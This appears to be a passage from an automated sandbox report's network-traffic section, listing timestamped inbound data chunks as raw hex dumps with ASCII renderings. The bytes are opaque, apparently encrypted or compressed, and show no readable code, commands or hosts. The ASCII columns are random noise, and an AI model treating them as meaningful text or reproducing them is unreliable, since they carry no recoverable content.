Data Ascii: "N]L}Eh{cp{YbPX91GPW1/O8-y*E"ab/?r'}eg%V4rH5zQ*Oo7/REU$W=bs|8&mmZtZ?9|A#NV3Y="X(-(9\-

2022-09-28 05:32:41 UTC 65 IN Data Raw: ef b2 ec 79 88 c2 f9 d0 d0 72 eb a0 2d 7e 88 e6 3d c1 90 6b d2 b2 19 e0 99 91 84 48 59 cd 9d 10 c0 c0 44 49 
db e5 10 19 51 f9 89 90 20 e3 14 08 86 31 53 37 bd 1b fe 32 e8 f0 57 11 a5 d4 b3 80 dc 9b 59 43 15 42 28 87 c5 9d 02 1f 
e9 64 19 db 6c 09 4d c0 48 31 ff 01 a2 0a 71 83 51 20 b1 26 31 40 08 a9 53 7d b1 e3 41 76 d9 d1 f7 1d 07 a9 cc 13 25 54 
c9 1d e4 32 97 c8 15 0a 61 48 2b 85 49 c3 e8 d9 32 d1 20 ee ad 28 4e 5f 2b 90 b2 6f f5 44 26 36 0c ac b2 b0 ab 31 4f 97 
fe a6 86 43 ce 2e bf a3 01 c6 cf 8b 07 3f a1 72 4a 3b e5 44 93 b8 30 7e 07 a5 47 d4 79 9e 67 41 2a 29 a9 cd 09 ea b8 9a 
9e 86 10 20 97 56 58 41 a8 93 06 66 1c f9 8f 98 9f 5f a5 a2 81 d5 8d b9 89 71 1b 34 c1 d2 46 b7 6e 07 f5 f2 1e 3c e2 2d 
33 e4 c9 dd 33 bd bd 89 9e b3 5a 29 bf aa 18 c9 cb a0 80 
Data Ascii: yr-~=kHYDIQ 1S72WYCB(dlMH1qQ &1@S}Av%T2aH+I2 (N_+oD&61OC.?rJ;D0~GygA*) VXAf_q4Fn<-33Z)

2022-09-28 05:32:41 UTC 65 IN Data Raw: c3 c9 f2 bc b8 9e 7f d4 ce 93 e0 2d c2 22 3b d5 b5 02 82 c3 0b 31 41 b6 60 66 e8 14 95 87 6a f1 41 c1 d2 f7 
e1 df cd 69 67 c5 9e 41 04 f3 9d 0f 2a 14 d7 ef 0e 99 7b 28 d4 ee e3 bf 11 7b 48 a5 33 e8 51 20 cc 1c 5f 69 b5 7d 96 3e 
01 05 78 1c c4 bc 3e 43 dc f4 75 af 02 2c a9 d2 40 71 19 3e a1 ac bc db 04 4e 9f 17 46 30 3f 28 ee 4a 36 bb 0c df 38 ec f4 
4f be 62 df f0 a9 82 28 a4 99 9e af 26 8a ff f5 0d b7 c9 5e fe e4 a8 46 da d5 07 27 f1 ba 3a 5a 8c 0a be 20 be 22 d9 7a c4 
12 ad ee 47 c4 35 14 b1 0e e2 33 ea f9 66 77 b6 2f 46 26 d1 82 47 da 36 a6 d8 d2 3d 37 03 b8 27 9c ae 7d 18 1e 8e c7 
67 2e 58 aa 48 fa 3b ed 71 e8 aa 58 7a be 40 86 48 09 9a 1d fc aa ed a9 78 ed f0 60 a0 e2 9a e1 39 0c db 15 b2 0f d4 82 
32 65 cc b5 ca 5a 07 cd ca 87 11 be 3d b2 e3 92 89 8e 
Data Ascii: -";1A`fjAigA*{({H3Q _i}>x>Cu,@q>NF0?(J68Ob(&^F':Z "zG53fw/F&G6=7'}g.XH;qXz@Hx`92eZ=

2022-09-28 05:32:41 UTC 67 IN Data Raw: b5 a7 8b bf 4a 4e a4 9d a6 9e 74 1d 58 20 99 41 4b 82 99 fc e6 06 7b 53 12 35 7b 30 76 ba a1 c1 19 c2 b2 63 
48 a8 62 4c 2d 2d cd a4 63 94 ff 31 46 fa 29 6b 87 1b 16 c7 3d 9c 58 50 bf 56 d4 6d 83 8c 2a 35 6d e0 18 75 50 72 b6 1b 
5b 12 a6 62 88 bf fd 5d 60 1b 2d d8 0e f8 32 43 55 56 e6 56 42 d5 b3 3f 4b 7c 4f 79 75 c9 20 9a d1 ec b9 54 a2 57 b2 df 
0d ba a9 e5 af c6 a3 81 0f 8d 57 26 8e 63 2d 89 a9 1b 7a 66 08 0c a3 0e 7d 47 5c 05 88 e8 f3 05 41 b0 09 ba 16 2e d0 ee 
4d ba b5 60 6f 2c 8f 76 70 7e 1c 45 a1 0f a0 17 04 21 77 09 c8 88 15 3e 1b 3d b7 1b 92 f3 18 66 97 d3 60 e5 88 17 37 09 
39 4c 9d 07 e0 f3 69 c6 7d 4c 78 55 37 44 18 bd 17 72 37 89 0c 7e ed 26 ac 4e c0 bd 82 6c d4 13 7e 50 61 cf eb 42 05 64 
d3 1a b5 df 22 ba ae 2a a9 c7 1e 94 de 37 bb 3d ce d6 8a 
Data Ascii: JNtX AK{S5{0vcHbL--c1F)k=XPVm*5muPr[b]`-2CUVVB?K|Oyu TWW&c-zf}G\A.M`o,vp~E!w>=f`79Li}LxU
7Dr7~&Nl~PaBd"*7=

2022-09-28 05:32:41 UTC 68 IN Data Raw: 5f b1 36 ce 2c a6 df 44 22 a5 a0 18 c0 d2 fa a6 69 6b 3b a8 e0 7c 4c 01 0c 50 d5 84 75 af 92 a8 79 40 29 3a 
92 de 96 b6 00 94 84 d1 07 3f 8c bf be a0 95 c5 12 75 06 f5 32 2d d4 89 89 61 52 95 df 46 34 fe 6f 0c 3a 48 e3 8d 3a 9b 
12 6e de f7 2d c1 4e 7f 29 67 8c 0e 98 24 32 a1 87 51 bd 37 44 0f 97 f5 c7 78 e3 03 ab 32 04 cf 63 51 61 0c 35 15 44 a8 
25 30 b6 ad a3 55 45 b0 d2 d6 b5 24 8a 99 ea 00 a0 8a a9 da 5a be 01 d4 13 e6 cb 04 21 fa 55 80 a7 fe 90 84 97 cc 04 
17 8d b8 cc bd 49 68 c8 31 40 2f be 77 b0 9a 63 64 d5 58 08 53 4e 1b 5c 3b 34 50 d1 35 b7 10 b9 b6 93 cf ef 06 6d d7 0a 
f5 62 00 3d fd 75 14 c3 89 a6 a4 23 29 d6 c9 f0 ab bf ac 41 48 83 5d fb f3 e8 de 9d 31 37 2e 56 33 cf 24 ab 89 36 ac 49 
e1 c0 15 11 a8 0d 18 bd 51 78 92 73 39 2f 02 47 2f 82 e6 26 
Data Ascii: _6,D"ik;|LPuy@):?u2-aRF4o:H:n-N)g$2Q7Dx2cQa5D%0UE$Z!UIh1@/wcdXSN\;4P5mb=u#)AH]17.V3$6IQx
s9/G/&

2022-09-28 05:32:41 UTC 69 IN Data Raw: 8d d3 7b 09 14 9a d1 ee 17 01 52 dd 7d 8d 82 f4 04 3b 5d cd ff 6a 6f 1c d9 2c c4 b1 97 df cb 9e f2 e3 fd bf 1c 
7a ff 42 a0 7e a3 68 96 57 76 ea 73 7d e8 b1 2e ee eb f7 00 24 8f 36 4f d4 b0 ee 8f 60 ef 4a 49 a9 f4 64 4f ae 33 31 6d 7e 
bb 64 30 ef 9b 08 f4 42 71 2c f1 c3 4b 1c 50 89 9c 08 d2 bd c3 7c a0 c5 ce 63 85 67 05 9b d7 57 22 c8 88 64 00 25 76 ad 
20 06 bd d8 8f ba 4f 26 aa 48 09 3a 69 55 25 2c d8 2d 79 f1 f8 e9 a4 d3 3c 4e 38 d0 f8 d5 18 77 db 4b a5 cd 38 1d 2b e7 
45 3f 13 5b 66 db 54 c2 11 91 28 95 b6 25 d6 fd 5d 7c 9e c8 3b b3 b6 26 e0 6e 25 b3 80 65 e1 a9 f3 7f bb 41 ba f8 e6 bc 
da 9c 7b da 72 33 5e cb 73 b7 39 cc 7a 1f c8 56 5a ab e0 fa 4b 64 1a 34 f1 53 c8 59 ba 1b cb ae 1a dc 22 d1 98 c0 57 4a 
62 f1 0f b9 c3 c9 af 24 1f cb 0f 61 30 b7 c1 d7 c0 
Data Ascii: {R};]jo,zB~hWvs}.$6O`JIdO31m~d0Bq,KP|cgW"d%v O&H:iU%,-y<N8wK8+E?[fT(%]|;&n%eA{r3^s9zVZKd
4SY"WJb$a0

2022-09-28 05:32:41 UTC 71 IN Data Raw: 56 c3 2b 2d 54 97 ae eb eb d6 44 ed a9 b7 06 bb 04 4d df 5c 7b 27 30 e7 61 a7 39 8a 6a 84 1b 95 96 dc 36 74 
92 9a 29 66 d7 13 51 43 19 a5 3d 2e 19 44 ec 50 bd ff 84 67 3c bf a8 51 68 c1 f6 6a ab 9f 52 71 fb d6 76 be b1 0d f8 46 
7e 76 b2 0b 5b 4b 76 72 f6 01 78 7c 87 87 f1 69 c2 e1 ca 07 f1 a1 98 a2 cc 3c 82 3f 5a 6d 1d 85 a3 7e 39 4c 69 5a d4 29 
62 f8 6d 55 e6 7c 5f 8d 4f 44 44 ca 85 6f 14 2c a8 0b 80 05 70 ef b8 7f 3e 19 6b 53 11 0b ac 45 20 49 8c 30 75 99 fa d7 bb 
35 f9 a1 12 35 f9 f7 1a 92 b9 02 a8 df 64 67 1d f5 0d 32 2c bf 33 2b 75 a9 a0 9f ba 19 c6 b0 a7 b7 fe 4a e7 a0 42 c7 d6 1b 
c7 f0 fe 24 37 fb 73 88 55 83 11 73 40 03 cb cc c3 66 32 05 8d 00 19 63 20 a8 32 c9 9f 4a c2 f9 6f 06 9d a3 44 ba 4c 06 
ab d9 77 1f 0b 88 cc af 2f 68 63 c1 72 80 b2 ec 25 
Data Ascii: V+-TDM\{'0a9j6t)fQC=.DPg<QhjRqvF~v[Kvrx|i<?Zm~9LiZ)bmU|_ODDo,p>kSE I0u55dg2,3+uJB$7sUs@f2c 
2JoDLw/hcr%

2022-09-28 05:32:41 UTC 72 IN Data Raw: 5f c0 f4 22 32 62 e1 2b 09 42 d0 6f 7e d4 16 99 e0 16 b2 5b 35 09 92 16 a9 3e 19 e7 15 b3 60 db 74 ea a1 89 
23 b4 65 ae 7b aa 80 2e 2c 3d 77 87 35 c9 98 b2 22 40 6a 99 2c 1d dc 02 43 a1 c1 88 1f 21 c4 ba b9 d1 6c fc f7 8f 6c c5 
8a fb af 76 ca 69 b9 76 b2 b2 74 07 b2 c6 e6 eb 9b db 8d f0 87 44 6a d6 b1 ce d7 71 27 cd 59 87 55 1b 2d 67 e0 a5 08 00 
7f e7 3f e1 67 fa 5b 00 23 a8 7e 88 79 bb cf 8c 86 02 62 91 af ea 93 c8 4b 9c 92 f0 6b 7d ef 28 c8 b7 46 bb c2 9e cf ea ca 
64 2d 97 35 57 f8 51 ba fc 50 7c 4c 6e 5c 34 28 5f ea 97 d4 ca 82 ae 5e 50 c4 5e 66 86 18 44 ec 77 46 c0 7b b8 4d 45 8a 
ef e9 21 9e 78 b6 a0 36 85 51 f5 e9 89 fb 33 a5 1e 34 4b 0d dc db 06 9e e2 48 5f d0 e3 4d 17 48 f3 9e a6 b8 69 72 87 b1 
e4 47 a6 0a 3f 23 86 bf e8 88 e1 56 e9 a9 a6 04 bc 02 
Data Ascii: _"2b+Bo~[5>`t#e{.,=w5"@j,C!llvivtDjq'YU-g?g[#~ybKk}(Fd-5WQP|Ln\4(_^P^fDwF{ME!x6Q34KH_MHirG?#V

2022-09-28 05:32:41 UTC 73 IN Data Raw: 60 db 29 7b bf b9 a5 be 4f e1 06 7a 89 e0 40 6c f9 31 57 4c 7d b3 5e 0f b4 dd 43 95 64 4b 2c b7 e2 48 13 66 
b6 c4 5f 8e a6 fa 2e 81 f9 ee 2e ec 77 0a c4 87 70 03 81 be 20 25 2a 42 c2 20 33 a4 8d 82 87 77 31 a3 58 1e 0f 38 04 25 
4c 89 35 25 fc a8 c1 b3 fc 34 45 7e dc a6 c9 0d 21 ea 19 83 ec 1b 01 2e d1 7d 49 a2 bc a4 6a e0 74 c2 35 d8 23 65 91 4e 
44 be f6 72 36 aa 57 55 81 0e 84 98 7e 59 e4 0d 74 26 ae 5d 27 9a b3 ce b6 c2 c5 1e b8 3f 32 73 86 44 87 15 cb 27 18 
ae 7c 5e be 84 c6 5a 53 30 6d f4 4a f8 5a a9 70 a2 fe 52 cc 0f f5 81 83 77 67 3e d6 18 9e c0 f0 82 61 28 d8 54 59 26 88 
ea f7 ef 1f db e6 d1 3d c9 4f c6 39 e4 e0 41 f4 58 f9 40 12 0d 12 56 e3 df 92 1d fd 4d b3 1d 4f fa 92 45 e3 f8 ac 26 02 93 
b1 31 43 e3 e9 76 00 6c f5 62 51 2f dd 00 7a d8 2d 9d fe 
Data Ascii: `){Oz@l1WL}^CdK,Hf_..wp %*B 3w1X8%L5%4E~!.}Ijt5#eNDr6WU~Yt&]'?2sD'|^ZS0mJZpRwg>a(TY&=O9A
X@VMOE&1CvlbQ/z-

Timestamp
kBytes
transferred

Direction Data
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2022-09-28 05:32:41 UTC 74 IN Data Raw: c8 e7 41 64 91 a6 58 fd 84 68 5e d7 83 1d 83 8d 3b a1 7b 53 5e 82 59 57 53 6b 67 c1 2a 66 47 a1 b5 c4 46 85 
fa ff 38 af 8b b3 9d 8d 0d be 72 3f 2d 49 95 be 0a 3e 10 5b 71 ec 1d 42 d9 7d 73 c2 08 61 9a 54 0c 31 d1 90 40 5d 59 c9 
46 d9 18 44 ff cb 7e 1b 49 62 11 2b 33 a5 77 38 18 bf 05 13 c6 cf ff 92 68 c4 84 17 19 dd b5 2e e6 cc 3c 9b 8f 45 3e 6c fb 
35 19 07 b1 30 73 06 ff f1 9a eb 3b fa e8 b6 85 cb 57 f5 fa 46 f2 b2 37 9e a0 9f 71 41 d4 48 90 54 d7 50 5b 47 05 97 ce b7 
70 14 49 ab 11 5c 0d 23 89 76 db c0 61 ef f4 2c 17 d8 92 68 b7 17 32 bc 98 7c 4a 31 b4 dc b8 33 30 21 8b 21 90 b4 e0 
04 21 7f a5 88 57 6c 20 fa 2c 9f d1 8d dc 96 a5 dd da aa a3 00 7a f8 54 ea 1b 82 76 db 51 29 93 02 23 f7 e0 37 cb fc a9 
06 7e e6 7b 72 f6 bd ca 9a 41 d1 0d 57 e8 de 57 6e b0 
Data Ascii: AdXh^;{S^YWSkg*fGF8r?-I>[qB}saT1@]YFD~Ib+3w8h.<E>l50s;WF7qAHTP[GpI\#va,h2|J130!!!Wl ,zTvQ)#7~
{rAWWn

2022-09-28 05:32:41 UTC 76 IN Data Raw: 6c 94 1d 76 85 98 b7 18 77 d1 96 a1 f7 49 c2 f8 d8 49 cb fb e1 a2 54 d3 6a b0 58 9c 83 4d 33 98 e1 ed ca ce 
ca e5 ef 8d 48 66 81 de b9 d3 29 61 82 05 91 62 51 4a 67 c0 e6 0b 2e 15 d2 13 eb 57 de 74 1f 2d ff 7a ae 2c 99 8f db e1 
5a 3f ad aa d7 98 b1 38 a0 92 ea 44 49 e8 39 cf 8d 4c f4 c2 f3 c3 e4 d3 64 31 d6 75 0f 89 7d bb dc 6b 59 6b 59 60 08 1f 
7e df cb 99 d7 a7 9d 7d 6f f6 41 54 bb 61 2d bc 29 45 f3 59 80 68 0f 91 a4 f2 0c ca 7f fe 80 35 9d 7e e8 e8 b0 d4 1d 90 71 
15 54 0b d0 ef 25 c9 d7 19 45 e8 d6 6f 54 65 c7 8b e3 a3 7c 26 f7 e6 b6 44 c4 01 1f 0d 85 bd cc ff d0 72 fc 9c f2 24 a8 08 
6e f0 53 25 45 17 a8 33 c4 7f c4 68 a2 20 b4 a6 84 05 41 88 80 12 34 a4 34 57 4a 20 b8 0b 6c 11 7b d8 6d d3 8b c6 39 
26 81 b9 63 67 d6 a3 60 89 a6 57 6b c4 81 6a ff e7 41 
Data Ascii: lvwIITjXM3Hf)abQJg.Wt-z,Z?8DI9Ld1u}kYkY`~}oATa-)EYh5~qT%EoTe|&Dr$nS%E3h A44WJ l{m9&cg`WkjA

2022-09-28 05:32:41 UTC 77 IN Data Raw: 55 08 40 ce 2a 22 83 9b dc a5 63 17 96 13 4f 09 76 0d 6f 26 f1 0e 73 f0 b4 9d 94 fb 19 6d 29 c1 e3 d5 11 17 
dd 0a e2 9f 4d 4c 75 f3 55 08 a0 b0 81 75 bd 72 b7 63 e7 32 78 d0 0d 15 89 d4 67 25 b8 44 0c f9 60 c8 fa 42 4d f4 18 46 
35 9b 4c 13 dd d0 c2 a4 e6 86 55 a9 56 25 46 e5 44 98 1d d0 56 49 d9 0f 19 f7 8a e8 77 6a 05 3d cc 52 f6 79 c0 02 cd e0 
6f 9e 73 e2 83 cb 08 10 7b e3 05 a2 9e cd a3 34 24 86 19 5a 1a bc d2 c8 c6 2d ad 95 a9 58 91 67 9e 39 e9 dc 2d e0 4b 
cf 09 10 7d 6d 46 ed b7 e7 64 dd 4c 81 76 62 af e6 57 ea 90 ad 1f 34 d1 b4 22 1a fc f7 70 03 7a d0 11 5e 1b c3 3d 28 87 
13 a3 d4 18 f9 23 18 3f b2 03 89 1e 7f d5 0f 81 58 8a 66 da ee a6 17 e0 3c ef 2c e3 83 12 7e 3e 69 97 47 d3 b0 a8 33 4e 
7a c1 08 1d c6 2b 6f 83 e7 bb 34 10 da e7 9b ff 66 f8 f7 b1 
Data Ascii: U@*"cOvo&sm)MLuUurc2xg%D`BMF5LUV%FDVIwj=Ryos{4$Z-Xg9-K}mFdLvbW4"pz^=(#?Xf<,~>iG3Nz+o4f

2022-09-28 05:32:41 UTC 78 IN Data Raw: e8 47 54 f9 35 06 92 1e 10 9b 49 02 40 ff ac 5e 44 01 ed 06 b1 2c 5c f8 c0 4a 32 2c 5d 74 6e 1d ff 1c 4c 0f c3 
21 71 ce d5 f6 87 3d ba a0 19 0c d1 91 3f 9b cc 3c a8 81 47 2a 2c f5 43 76 42 ff 5c 3f 41 ee 88 bb d3 35 e3 9c 9f 84 c2 1d 
ec f4 7a 94 af 06 cf a0 be 75 0a 8f 1d df 5b c0 5f 5e 65 21 8e a7 9b 7a 03 09 84 13 05 36 22 ff 1e ce a5 50 ce c1 22 5e ef 
e1 0d a2 5b 11 8c f2 58 12 2c 8d 93 85 05 26 65 c4 2c c5 86 e0 27 1c 06 aa 91 2e 1c 4b 81 30 d9 85 93 81 fe 86 c1 e9 9d 
a0 01 3a eb 15 d8 5b b1 58 89 0b 79 ad 52 7e e9 86 26 ef f6 ee 0d 28 87 30 08 f0 85 e4 cf 33 b4 23 4c e6 95 30 1b b1 36 
66 48 29 fe 32 65 fa 9a 6a 91 45 64 04 85 ec 0c 08 4b 94 df 2d 83 ec c3 3e f9 c2 ce 6a c8 23 73 f7 d7 43 38 a0 c2 5d 26 
1e 68 c0 7d 33 9c b0 a8 8b 5a 72 ef 4a 6e 28 6e 
Data Ascii: GT5I@^D,\J2,]tnL!q=?<G*,CvB\?A5zu[_^e!z6"P"^[X,&e,'.K0:[XyR~&(03#L06fH)2ejEdK->j#sC8]&h}3ZrJn(n

2022-09-28 05:32:41 UTC 79 IN Data Raw: 0b 20 3a e5 0b bf 2f 88 11 49 2b d9 60 a9 63 ad 8b b5 91 35 61 a4 b4 c2 c6 8e 33 ae b4 85 69 76 f4 7c 93 de 
00 f4 b3 ee 84 be ea 5a 7a 99 63 04 94 76 af dc 77 54 66 4a 6b 3c 6a 46 f2 c4 9d b8 ce ff 69 05 d7 69 44 d5 08 5d bb 41 
76 ff 66 85 65 48 dc f0 db 0c 95 23 de d6 02 9d 66 e0 e6 99 8a 20 9f 73 22 6f 02 f0 fb 05 af f8 5e 6d 98 91 07 5e 40 c1 b1 
8a 8d 28 77 bd 97 e5 63 e3 0f 68 11 8e eb b0 e6 85 04 e4 9d fe 5a c9 53 39 c0 42 41 51 28 f3 42 9e 17 a3 70 86 1f ab aa 
e6 30 77 b0 db 13 60 a0 7d 18 22 59 f3 0a 25 49 4a d1 33 a5 b3 a4 32 22 b9 aa 7c 67 e7 8c 19 91 a1 5b 53 e9 eb 19 db 
f1 44 e8 71 48 7b b0 7d 40 13 67 23 b8 21 41 7a a9 ee d0 70 f2 da da 4c ec 9d a9 96 e0 6c 96 20 4a 5c 3b b5 a9 55 39 
69 60 56 f6 6e 63 e1 35 3b b1 00 5c ba 5e 32 42 e8 c4 54 2e 
Data Ascii:  :/I+`c5a3iv|ZzcvwTfJk<jFiiD]AvfeH#f s"o^m^@(wchZS9BAQ(Bp0w`}"Y%IJ32"|g[SDqH{}@g#!AzpLl J\;U9i`Vnc
5;\^2BT.

2022-09-28 05:32:41 UTC 81 IN Data Raw: c3 6e 36 b8 e7 5f 32 95 6c 58 94 50 ac 92 60 49 ec 39 44 41 88 02 7c f9 b4 b5 be d0 c5 6f e9 55 22 51 f3 48 
91 3b 9c 72 41 da 02 6d 91 8d e5 57 56 55 66 82 1f 93 5c f3 1e ea ac 20 e2 05 df b1 e1 7f 7b 0a d7 48 f9 fc e7 a2 1a 26 
d5 5d 32 63 f1 8e d0 9e 33 a2 9e fe 18 95 58 9f 64 a9 e8 1d d6 6f 99 79 2b 4e 78 76 b9 e2 8c 20 af 12 a0 0a 70 f8 e0 60 
ee b2 f7 3b 3a 93 a7 3d 42 f1 c1 50 07 68 b6 2f 3d 12 c3 3d 28 87 13 9b ff 02 df 4d 30 31 b3 54 8f 6a 30 cd 00 a3 78 fc 35 
f8 e6 af 17 e0 3c ef 2c e3 83 14 76 39 32 a4 4c ce 8a ae 63 77 7e 9e 67 27 9c 23 79 8a ed b9 35 79 8d d2 f5 88 55 fa af 
da 4d c1 dc c0 93 6c 8d 45 a6 51 8c be 45 52 b4 9e d0 fd 80 83 b0 a3 e6 00 6f d1 fd cd fd 7b 28 f9 61 ae 40 51 12 2d eb 
e8 21 25 20 f6 0d cc 53 b5 0f 74 79 bb 4e a4 7d 90 e4 
Data Ascii: n6_2lXP`I9DA|oU"QH;rAmWVUf\ {H&]2c3Xdoy+Nxv p`;:=BPh/==(M01Tj0x5<,v92Lcw~g'#y5yUMlEQERo{
(a@Q-!% StyN}

2022-09-28 05:32:41 UTC 81 IN Data Raw: 64 f6 ff d1 b8 b2 1f 4e 3e d3 f9 d3 07 30 cc 5d d6 81 70 1e 7a e5 42 57 87 99 d9 0b ba 76 c4 77 fb 21 62 df 01 
1b a8 d7 6f 3b 9b 72 5e f5 14 b4 af 40 27 ee 0d 18 50 9c 1b 75 bf ce d7 88 c2 cd 1e b8 3f 32 40 97 61 a6 3b ea 45 1f c6 4f 
65 be d6 d6 65 6c 0e 1a cf 0b d9 7c a9 70 a2 fe 52 cc 78 a6 83 dd 78 4e 7c ef 4d fa 9b ce aa 2b 03 ee 54 46 5b ab e1 f2 
e0 31 d4 d8 cd 11 ed 79 d4 32 e6 e6 31 d1 40 fa 6a 11 7e 12 09 e3 df 92 1d fd 55 bb 3c 5d ab 9f 6f 90 98 f6 10 3d d7 8d 
4f 78 cc c4 68 23 74 c3 62 51 2f dd 00 7a 8d 5b a9 c8 44 f6 79 7f 09 cf 2d f1 3b 03 d7 31 bc 62 f0 72 cf e0 f3 6b dd 22 d2 
7e 95 93 08 3d 2f 3b 85 5d e0 ce 8b 28 71 4f b6 41 7c fb 04 73 af 95 a6 18 36 d6 e5 9b d6 53 fc d1 d2 32 f4 ee e6 90 62 
ed 77 e2 60 db cb 27 5f 8b c9 e6 e2 b6 d9 dc e4 
Data Ascii: dN>0]pzBWvw!bo;r^@'Pu?2@a;EOeel|pRxxN|M+TF[1y21@j~U<]o=Oxh#tbQ/z[Dy-;1brk"~=/;](qOA|s6S2bw`'_

2022-09-28 05:32:41 UTC 83 IN Data Raw: 24 fb 88 7e 0e 0d 56 16 34 09 8b 1c 4c 0f c3 21 75 ed f3 e2 ed 17 e2 e5 4b 6b de b3 18 85 d3 76 8f de 4a 55 
11 e7 1f 02 2d ee 39 29 67 8a fe 9d f7 07 ea a8 9d 94 e0 6a ce bb 16 9f d6 71 94 f5 fa 5f 43 c8 72 b8 31 ff 65 56 45 1c 8e 
9e 93 7b 14 02 e8 05 33 0f 22 f4 2f 9f a9 46 ce fd 7a 0d b6 b8 74 99 72 1a 89 c5 5b 33 32 c1 a5 e3 7c 19 58 e5 38 84 b1 
a7 26 14 7a a7 e5 64 52 12 c4 35 98 92 89 82 f8 b4 b0 f7 9b bf 00 5d dd 42 f2 68 ab 75 b0 47 75 b3 67 6b d5 a2 33 a7 bb 
b8 48 32 80 6b 2c b3 9e e9 be 21 a6 10 65 95 a0 42 5f 82 19 47 69 28 bc 3a 39 f7 c0 08 8c 60 28 28 9c d5 6d 0e 69 96 
83 1e 86 a8 91 76 a3 8e af 30 d1 25 76 84 ec 4a 21 a4 b2 59 5d 28 4c e7 33 04 94 bc 8e e7 49 25 ab 6c 11 24 4e 7b 4c 
08 e0 1e 75 e6 ee 90 94 db 10 5b 2f cc c6 e3 3c 64 a9 0d eb 
Data Ascii: $~V4L!uKkvJU-9)gjq_Cr1eVE{3"/Fztr[32|X8&zdR5]BhuGugk3H2k,!eB_Gi(:9`((miv0%vJ!Y](L3I%l$N{Lu[/<d

2022-09-28 05:32:41 UTC 84 IN Data Raw: 92 d1 93 ac 63 a8 a5 d2 7a 44 e7 79 fb b3 4d a2 90 b6 f9 f5 f1 54 7b f2 67 55 99 53 d5 b2 00 62 60 5f 45 3d 4f 
6e b3 a1 da d3 80 b6 6f 7d e9 5f 22 ed 17 7d d7 42 07 f7 55 87 63 7c b2 d1 f2 39 b8 23 8f b7 3a ac 06 fd d8 b3 c9 6d c0 
3d 4e 5f 05 cf d3 00 ab f3 7e 08 cf a8 6f 07 49 ce 95 b2 94 77 57 a8 8b ea 40 d7 0e 07 18 86 bd cb d2 e5 40 a7 9e b6 13 
82 21 57 f0 4a 20 1a 60 b6 33 b5 2b aa 49 a6 07 ac a4 e4 79 53 9c c7 22 47 b6 3a 4d 46 1b fc 1f 78 15 50 d1 08 b6 bb b7 
6b 08 9c 88 60 3c f6 9b 43 fc a0 59 74 ca ef 53 9a e3 3c fc 4d 78 4a 82 5d 3a 48 62 42 9d 15 59 4a a2 e6 b4 24 89 f9 c8 
51 d6 ab 9e 84 cf 72 a9 06 69 66 40 a3 95 54 62 73 3f 4b c5 63 53 dd 72 0b dc 74 64 dc 0b 25 59 cb a6 4f 24 07 ad 0d b4 
5f 26 d7 f0 5f 71 31 4b 40 69 01 92 52 0d 43 8d 63 0d 
Data Ascii: czDyMT{gUSb`_E=Ono}_"}BUc|9#:m=N_~oIwW@@!WJ `3+IyS"G:MFxPk`<CYtS<MxJ]:HbBYJ$Qrif@Tbs?
KcSrtd%YO$_&_q1K@iRCc
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2022-09-28 05:32:41 UTC 85 IN Data Raw: 76 9f ff fc bd ed bd 73 f4 6c 0d 4a c4 34 ef 3c e9 77 04 db 66 4c a6 a9 f5 73 53 0c 14 d2 78 ff 5a a4 7a e4 88 
16 f4 73 93 da 8e 4f 66 1e d3 2e f1 96 f4 84 0e 0c cb 0a 45 52 a1 e4 f3 d0 16 f6 9c c1 37 c8 27 c0 64 d4 dc 06 d8 4a e1 
09 33 76 45 5a 88 b9 eb 17 eb 12 d1 6d 05 bd de 6f e5 a9 9b 21 3c 93 80 42 42 c3 cb 47 33 2b da 3a 3b 5e 88 7c 36 87 
62 d3 b0 02 a8 5c 69 34 ae 2e ad 08 23 b0 31 92 60 fb 47 dd ea 98 18 99 25 d7 68 b7 8a 12 6a 0c 5b b7 56 dc c1 86 63 
64 62 b9 6e 37 e5 24 40 f5 ac ce 6f 35 df 99 90 f9 62 ec f4 dc 62 c2 b9 ff 8d 6b eb 32 85 58 be 82 55 56 a5 91 e9 e1 b0 dc 
d9 e0 92 54 44 f2 d7 fd fa 78 06 d0 00 86 45 26 7e 3d ae a0 18 01 0b fa 05 c8 74 c5 50 31 2b e5 0d 81 5c bc f9 90 aa 2c 
40 ac eb e8 97 f0 7e b3 8e 98 3a 2f cd 07 cb ba 6b 8c 9a 
Data Ascii: vslJ4<wfLsSxZzsOf.ER7'dJ3vEZmo!<BBG3+:;^|6b\i4.#1`G%hj[Vcdbn7$@o5bbk2XUVTDxE&~=tP1+\,@~:/k

2022-09-28 05:32:41 UTC 87 IN Data Raw: 98 54 94 bd 3e e8 b9 f2 12 14 8f 6c c8 36 80 65 43 78 33 9f 95 90 66 11 16 ae 1f 13 53 2b b4 14 c0 c6 79 de 
dc 70 32 96 f2 55 b2 51 1a 9b cd 50 29 08 b2 cd b0 26 50 1c a8 3f dc b1 fd 31 04 0b a7 c7 60 74 3d f5 65 9f b4 86 c8 df 
b8 b3 ff b6 9a 22 35 af 31 83 10 ab 4b ac 48 6c a8 03 54 f8 b1 0b ed f3 bf 21 34 ad 32 0a e3 88 f7 ba 46 b4 25 3e 92 f9 54 
4e 81 1a 72 62 70 9c 4c 16 e4 de 7f b3 51 20 40 d2 8e 49 2f 42 a4 ca 22 f0 8e 80 5f b4 d9 cb 7d dd 65 5f df c7 6c 21 92 
81 2d 59 49 39 be 35 10 83 bb ba 8b 5e 7f 9c 4e 73 32 75 72 71 30 f6 0b 7e ec eb e7 a7 80 3a 41 7d a7 e0 f2 40 11 ca 77 
b2 d2 04 26 2f eb 62 75 c4 b8 d2 39 f7 7b 82 59 f7 43 45 93 57 37 e7 dc 4b 14 a0 17 7c 95 28 d2 8b 63 44 ff 35 4f 78 bb 
58 0d 9a c0 ce a3 c1 c1 5d f6 6a 19 05 f2 5e 84 1a e4 
Data Ascii: T>l6eCx3fS+yp2UQP)&P?1`t=e"51KHlT!42F%>TNrbpLQ @I/B"_}e_l!-YI95^Ns2urq0~:A}@w&/bu9{YCEW7K|
(cD5OxX]j^

2022-09-28 05:32:41 UTC 88 IN Data Raw: 9b 46 65 a8 cc ca 58 b7 45 f5 81 27 83 78 b6 b2 9f ce 68 9a 79 1d 5c 5a 9d db 03 ce f2 58 76 f4 a5 63 22 5f 82 
cf 90 ed 58 43 84 f8 8b 16 9b 29 6e 66 b1 bb b0 fa df 6e cd b1 b1 34 a0 34 4a d8 0e 6c 70 02 e1 69 f9 61 f9 3a ee 03 b1 
82 c9 1e 5e 81 b3 70 42 be 08 43 4a 0e 9a 03 0e 0d 45 da 23 99 b6 d8 04 74 d6 ab 49 46 c7 a1 41 9e 9f 77 2a f4 84 73 
